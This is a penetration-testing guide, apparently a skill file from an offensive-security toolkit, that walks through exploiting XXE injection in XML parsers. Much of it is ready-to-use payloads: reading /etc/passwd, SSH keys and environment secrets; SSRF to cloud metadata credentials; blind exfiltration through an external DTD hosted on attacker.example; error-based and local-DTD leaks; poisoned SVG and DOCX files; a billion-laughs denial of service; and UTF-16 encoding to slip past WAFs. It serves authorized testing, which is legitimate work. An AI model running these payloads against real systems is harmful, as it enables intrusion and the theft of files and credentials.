XXE is what happens when an XML parser is allowed to resolve external entities the document defines. The attacker writes a DTD that tells the parser to fetch a file or a URL, and the parser obliges with the server's privileges. The reach is local file read and SSRF into the internal network. The hard cases are blind — the parser resolves the entity but never reflects it, so you exfiltrate out of band or through error messages.
Only against systems you are authorized to test.
When to Use
- A request body is XML:
Content-Type: application/xml,text/xml, or a SOAP
envelope, and the body starts with <?xml
- A file upload parses a format that is XML underneath: SVG, or an Office OOXML
file (DOCX, XLSX, PPTX) which is a ZIP of XML parts, or an XML-bearing PDF
- An endpoint consumes RSS/Atom feeds, XML-RPC, or SAML assertions
- A parameter or field is later embedded into a server-side XML document
- Source review shows an XML parser built without external entities disabled
- You have a suspected sink but no reflected output — test for blind XXE
When NOT to Use
- The wider web methodology — use
testing-web-applicationsto find the
sink before you land here
- The primitive is a plain URL fetch, not XML — use
exploiting-ssrf - Object deserialization — a different sink; use
exploiting-deserialization - XXE inside a SAML flow specifically — start with
attacking-samlfor the
signature, replay, and assertion context, then return here for the parser
- Finding the parser configuration in source — use
auditing-code-for-vulnerabilities
Recognizing XML Sinks
XML hides in more places than a Content-Type header:
- Raw XML bodies — REST endpoints that accept
application/xml - SOAP — the envelope is XML; the
<?xmlprolog and DTD go before<soap:Envelope> - SVG uploads — avatars, image processors, thumbnailers, chart renderers
- Office OOXML — DOCX/XLSX/PPTX are ZIP archives of XML parts; the parser
reads word/document.xml, xl/workbook.xml, etc.
- PDF — some generators and XMP metadata paths parse embedded XML
- RSS/Atom — feed importers parse attacker-controlled feed URLs
- SAML — the
<samlp:Response>and<saml:Assertion>are XML - XML-RPC — the method call envelope is XML
- Config/import features — "import from XML", sitemap uploads, plist parsing
The tell for a live parser: submit a benign internal entity and see it expand.
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY test "expanded-value"> ]>
<r>&test;</r>If expanded-value appears in the response, general entities resolve and the next step is an external entity.
Classic In-Band File Read
When the entity value is reflected somewhere in the response:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>Place &xxe; in whatever element the application echoes back — a name, a comment, a search term. High-value local targets:
file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ # env vars, sometimes secrets and tokens
file:///proc/self/cmdline
file:///proc/self/cwd/ # directory listing on some parsers
file:///var/www/html/config.php
file:///home/<user>/.ssh/id_rsa
file:///c:/windows/win.ini # Windowsphp://filter for Files That Break XML
A file containing <, &, or other XML-significant bytes (source code, config, /etc/shadow) will break the parse when read directly. On PHP targets, wrap it in the base64 filter so the entity value is pure base64:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>Decode the returned blob with base64 -d. This is the go-to for reading PHP source and any file whose raw content would otherwise corrupt the document.
SSRF via XXE
An external entity pointed at a URL turns the parser into an HTTP client. The server fetches with its own network position, which reaches internal services and the cloud metadata endpoint:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>Everything about target selection, IMDSv2's header requirement, alternate IP encodings, and internal service hunting lives in exploiting-ssrf — XXE is just another way to originate the request. Note the XML parser is a plain fetcher: it cannot set the X-aws-ec2-metadata-token header, so IMDSv2 blocks it the same way it blocks simple SSRF. AWS IMDSv1 needs no header and stays in reach, but Azure (Metadata: true) and GCP (Metadata-Flavor: Google) require a header XXE cannot set — out of reach like IMDSv2. Header-less internal services remain.
Blind XXE: Out-of-Band Exfiltration
Most real XXE returns nothing useful. Confirm the parser reaches out at all with a simple OOB ping:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<unique>.oast.example/ping"> ]>
<foo>&xxe;</foo>A DNS or HTTP hit at Burp Collaborator / interact.sh confirms blind XXE. To exfiltrate file contents you need parameter entities (%name) and an external DTD hosted on your server, because a general external entity cannot be used inside another entity's definition, but parameter entities can.
Host this DTD at http://attacker.example/evil.dtd:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example/x?d=%file;'>">
%eval;
%exfil;Serve it with anything — a one-liner is enough:
# In the directory holding evil.dtd
python3 -m http.server 80
# Watch the query string of the inbound request for the base64 file contentThe in-band request just pulls the external DTD:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe; ]>
<foo>test</foo>The &#x25; is a hex-encoded % — required because a parameter entity reference cannot appear literally inside another parameter entity's definition; it must be escaped so the parser expands it during the second read.
Error-Based Exfiltration
When outbound HTTP is blocked but the parser reveals error messages, leak the file through a parse error. Reference a nonexistent path built from the file content so the failure message contains the data:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;The parser tries to open file:///nonexistent/root:x:0:0:... and the "no such file" error echoes the concatenated path — one line at a time, since newlines terminate the path.
Parameter Entities When General Entities Are Filtered
Some parsers or WAFs strip or reject general entity declarations but still process parameter entities. If <!ENTITY xxe ...> is blocked, the entire external-DTD technique above runs on <!ENTITY % ...> and works where the in-band approach does not. Parameter entities are also the only form usable inside the DTD's internal or external subset for chained definitions.
XInclude — No DOCTYPE Needed
When you control only part of the XML document — a single field the server drops into a larger document it builds — you cannot add a <!DOCTYPE>. XInclude does the file read from inside an ordinary element, as long as the parser has XInclude processing enabled:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>parse="text" reads the file as text (needed for non-XML files); drop it for XML targets. This is the technique for SOAP fields and any injection point below the document root.
SVG and Office-Document XXE
SVG is XML — put the DTD straight in the uploaded file:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="20">&xxe;</text>
</svg>If the service rasterizes the SVG, the file content may render into the output image; if it echoes metadata, it appears there.
Office documents (DOCX/XLSX/PPTX) are ZIP archives of XML parts. Unzip, inject the DTD into a parsed part, and rezip:
mkdir doc && cd doc && unzip ../clean.docx
# Edit word/document.xml — add a DOCTYPE and reference &xxe; in a text run.
# For XLSX edit xl/workbook.xml or a sheet; for PPTX a slide part.
zip -r ../evil.docx . -x '.*'Tooling automates the injection and repackaging: oxml_xxe and docem generate XXE-laden Office/Opendocument files across every part and payload variant.
Billion Laughs — Entity Expansion DoS
Nested entities expand exponentially and exhaust memory:
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>Mention this to prove the parser expands entities unbounded, but do not actually run it against a live target — it is a denial-of-service that can take the service down. A parser that resolves the small confirmation entity is already the evidence; note the DoS exposure in the report without triggering it.
Local DTD Reuse for Restricted Parsers
When outbound access is blocked and the parser forbids external general entities but still permits parameter entities, you can repurpose a DTD file that already exists on the target filesystem. Redefine one of its parameter entities to trigger error-based exfiltration entirely locally:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %error;
'>
%local_dtd;
]>
<foo>test</foo>Find a DTD that ships with the OS (common paths differ by distro) and identify a parameter entity it defines to override. This is the fully-offline blind read.
Encoding Tricks to Bypass Filters
A WAF grepping for <!ENTITY or <!DOCTYPE in UTF-8 misses the same bytes encoded as UTF-16 or UTF-7. Re-encode the whole payload and set the prolog accordingly:
# UTF-16 defeats naive string-matching filters that only scan UTF-8
iconv -f UTF-8 -t UTF-16BE payload.xml > payload-utf16.xmlAlso try: a UTF-16 encoding="UTF-16" declaration, mixing SYSTEM casing where the parser is case-insensitive, and swapping file:// for netdoc:// (older Java) or jar: (Java, reaches inside archives and holds connections open).
Rationalizations to Reject
- "The endpoint returns JSON, not XML." Check what it accepts. Many JSON
APIs still parse XML when you flip the Content-Type to application/xml.
- "Nothing is reflected, so it's not exploitable." Blind XXE reads files over
OOB and through error messages. Confirm with an out-of-band ping first.
- "It's just an image upload." SVG is XML and OOXML files are ZIP+XML. Both
hit the same parser.
- "We disabled DOCTYPE." Try XInclude, which needs no DOCTYPE, and parameter
entities where general ones are blocked.
- "The file read broke the parser." Wrap it in
php://filterbase64, or use
error-based exfiltration for non-PHP targets.
- "Our WAF blocks
<!ENTITY." Re-encode as UTF-16, or move the declarations
into an external DTD the WAF never inspects.
- "It only reads local files, low severity." File read reaches SSH keys,
cloud config, and app secrets; the same primitive is SSRF to metadata. Score it on what you retrieved, not on the mechanism.
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1190 Exploit Public-Facing Application — see also
testing-web-applications,testing-apis,enumerating-network-services,attacking-graphql,attacking-grpc-protobuf,exploiting-deserialization,exploiting-ssrf
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
testing-web-applications— the surrounding methodology that finds the sinkexploiting-ssrf— target selection once XXE gives you an outbound requestattacking-saml— XXE inside a SAML assertion, with signature and replay contextauditing-code-for-vulnerabilities— finding the parser configuration in sourcereporting-security-findings— severity when only blind confirmation exists- Burp Collaborator, interact.sh — out-of-band confirmation and exfiltration
- XXEinjector — automates OOB and error-based file retrieval
- oxml_xxe, docem — inject XXE payloads into SVG and Office/Opendocument files